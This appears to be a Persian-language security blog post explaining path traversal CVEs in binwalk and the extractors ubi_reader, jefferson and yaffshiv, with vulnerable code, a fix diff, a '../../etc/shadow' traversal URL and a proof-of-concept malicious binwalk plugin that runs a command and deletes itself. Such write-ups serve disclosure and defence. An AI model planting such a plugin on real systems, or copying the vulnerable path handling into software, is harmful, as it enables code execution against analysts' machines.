اگه در زمینه امنیت اینترنت اشیاء کار کرده باشید یا CTF باز باشید ، احتمالا با ابزار binwalk آشنا هستید. این ابزار برای مهندسی معکوس ، آنالیز و استخراج ایمیجهای فریمورها مورد استفاده قرار میگیره و در زبان برنامه نویسی پایتون توسعه داده شده.
محققای Onekey این ابزار رو مورد ارزیابی قرار دادن و توش چندین آسیب پذیری پیدا کردن که در ادامه بررسی کوتاهی میکنیم.
نحوه کشف آسیب پذیریها اینجوری بوده که ، محققا به دلیل اینکه binwalk توسعه و نگهداریش کند جلو میره ، روی یه ابزار بنام unblob کار میکردن. با بررسی ابزار خودشون متوجه چندین آسیب پذیری path traversal میشن. در نتیجه حدس میزنن که احتمالا binwalk هم این آسیب پذیریهارو داره.
آسیب پذیری Path Traversal :
این آسیب پذیری بطور کلی دسترسی به فایلها و فولدرهای خارج از مسیر فعلی رو میده. مثلا در بحث وب ، شما با این آسیب پذیری میتونید به فایلها و فولدرهای خارج از web root دسترسی داشته باشید. برای مثال etc/passwd رو بخونید. برای این منظور هکر از رشته “/..” استفاده میکنه.
مثال :
1 |
http://some_site.com/../../../../etc/shadow |
این آسیب پذیری با نامهای dot-dot-slash و directory traversal و directory climbing و backtracking هم شناخته میشه.
این آسیب پذیری در پایتون هم رخ میده . با توجه به آسیب پذیری هایی که قراره بررسی کنیم ، فرض کنید برنامه پایتونی یه مسیری رو برای نوشتن یا خوندن میگیره. نسخه آسیب پذیر و نسخه اصلاح شده در مثال زیر نشون داده شده :
1 2 3 4 |
>>> os.path.join("/tmp", "../etc/passwd") '/tmp/../etc/passwd' >>> os.path.abspath(os.path.join("/tmp", "../etc/passwd")) '/etc/passwd' |
البته صرفا وجود این خط کد ، نشون دهنده آسیب پذیر بودن برنامه نیست و ما باید روی آرگومانهای تابع ، امکان کنترل رو داشته باشیم. یعنی به طریقی ورودی ما به عنوان آرگومان به این تابع برسه و اجرا بشه.
اگه آسیب پذیری ها رو در ادامه بخونید ، به نظر بشه روی برنامه های دیگه کار کرد و CVE گرفت.
آسیب پذیری CVE-2022-4510 :
آسیب پذیری از نوع Path Traversal و در PFS ، که از سال 2017 به Binwalk اضافه شده رخ میده. امتیاز 7.8 و شدت بالا داره. نسخه های 2.1.2b تا 2.3.3 binwalk رو تحت تاثیر قرار میده و نسخه اصلاحیه ای براش منتشر نشده.
آسیب پذیری امکان اجرای کد رو به مهاجم میده . برای اکسپلویت نیاز به تعامل کاربر هستش. یعنی کاربر باید یه فایل مخرب رو با binwalk اکسترکت (e-) کنه.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
def extractor(self, fname): fname = os.path.abspath(fname) + out_dir = binwalk.core.common.unique_file_name(os.path.join(os.path.dirname(fname), "pfs-root")) + try: with PFS(fname) as fs: # The end of PFS meta data is the start of the actual data - data = open(fname, 'rb') + data = binwalk.core.common.BlockFile(fname, 'rb') data.seek(fs.get_end_of_meta_data()) for entry in fs.entries(): - self._create_dir_from_fname(entry.fname) - outfile = open(entry.fname, 'wb') - outfile.write(data.read(entry.fsize)) - outfile.close() + outfile_path = os.path.join(out_dir, entry.fname) + if not outfile_path.startswith(out_dir): # this branch will never be taken + binwalk.core.common.warning("Unpfs extractor detected directory traversal attempt for file: '%s'. Refusing to extract." % outfile_path) + else: + self._create_dir_from_fname(outfile_path) + outfile = binwalk.core.common.BlockFile(outfile_path, 'wb') + outfile.write(data.read(entry.fsize)) + outfile.close() data.close() except KeyboardInterrupt as e: raise e |
خط 16 نشون دهنده این خطاست. برای حل این مشکل باید اینجوری تغییر بدیم:
1 |
outfile_path = os.path.abspath(os.path.join(out_dir, entry.fname)) |
برای اکسپلویت این آسیب پذیری روشهای مختلفی هست که بسته به هدف و هکر میتونه متفاوت باشه. اما محققا از ویژگی پلاگین binwalk سوء استفاده کردن. پلاگین های binwalk در مسیر زیر قرار میگیرن :
1 |
$HOME/.config/binwalk/plugins/ |
binwalk وقتی فایلی رو اسکن و اکسترکتش میکنه، همه پلاگین های این مسیر رو لوود میکنه. پس اگه ما بتونیم با استفاده از این آسیب پذیری یه پلاگین مخرب رو در این مسیر بریزیم ، binwalk در حین اجرا اونم لوود و اجرا میکنه.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
import binwalk.core.plugin import os import shutil class MaliciousExtractor(binwalk.core.plugin.Plugin): """ Malicious binwalk plugin """ def init(self): if not os.path.exists("/tmp/.binwalk"): os.system("id") with open("/tmp/.binwalk", "w") as f: f.write("1") else: os.remove("/tmp/.binwalk") os.remove(os.path.abspath(__file__)) shutil.rmtree(os.path.join(os.path.dirname(os.path.abspath(__file__)), "__pycache__")) |
دمو اکسپلویت این آسیب پذیری که ، ماشین حساب رو توش اجرا میکنن:
آسیب پذیری CVE-2023-0591 :
آسیب پذیری از نوع Path Traversal و در ubi_reader هستش و دارای شدت متوسط و امتیاز 5.5 داره. نسخه اصلاح شده 0.8.5 هستش و نسخه های پایینتر از این نسخه ، آسیب پذیره. ubi_reader امکان خوندن و اکسترکت ایمیجهای UBI و UBIFS رو فراهم میکنه و در binwalk هم استفاده میشه.
آسیب پذیری هم مثله بالایی هستش :
1 2 3 4 5 |
import os extraction_dir = "/tmp" for filename in filenames: extraction_path = os.path.join(extraction_dir, filename) |
آسیب پذیری CVE-2023-0592 :
آسیب پذیری از نوع path traversal هستش و در jefferson رخ میده. شدت متوسط و امتیاز 5.5 رو داره. نسخه اصلاح شده 0.4.1 هستش و نسخه های پایینتر از این نسخه آسیب پذیره.
jefferson برای اکسترکت JFFS2 بکار میره. همانند آسیب پذیرهای بالایی ، آسیب پذیری به شکله زیره :
1 2 3 4 5 |
import os extraction_dir = "/tmp" for filename in filenames: extraction_path = os.path.join(os.getcwd(), extraction_dir, path) |
آسیب پذیری CVE-2023-0593 :
آسیب پذیری از نوع path traversal هستش و در yaffshiv رخ میده. شدت متوسط و امتیاز 5.5 رو داره. نسخه 0.1 و پاینترش آسیب پذیره و نسخه اصلاحیه براش منتشر نشده. yaffshiv برای اکسترکت YAFFS بکار میره. آسیب پذیری هم همانند نمونه هایی بالایی به شکل زیر هستش :
1 2 3 4 5 6 7 |
import os extraction_dir = "/tmp" for filename in filenames: file_path = os.path.join(extraction_dir, filename) if b'..' in file_path: raise Exception("Path traversal attempt, aborting.") |
در os.path.join اگه هر دو آرگومان با اسلش شروع بشه ، آرگومان دوم اولیتش بیشتره. مثال زیر دقت کنید :
1 2 3 4 |
>>> os.path.join("/tmp", "home/traversal") '/tmp/home/traversal' >>> os.path.join("/tmp", "/home/traversal") '/home/traversal' |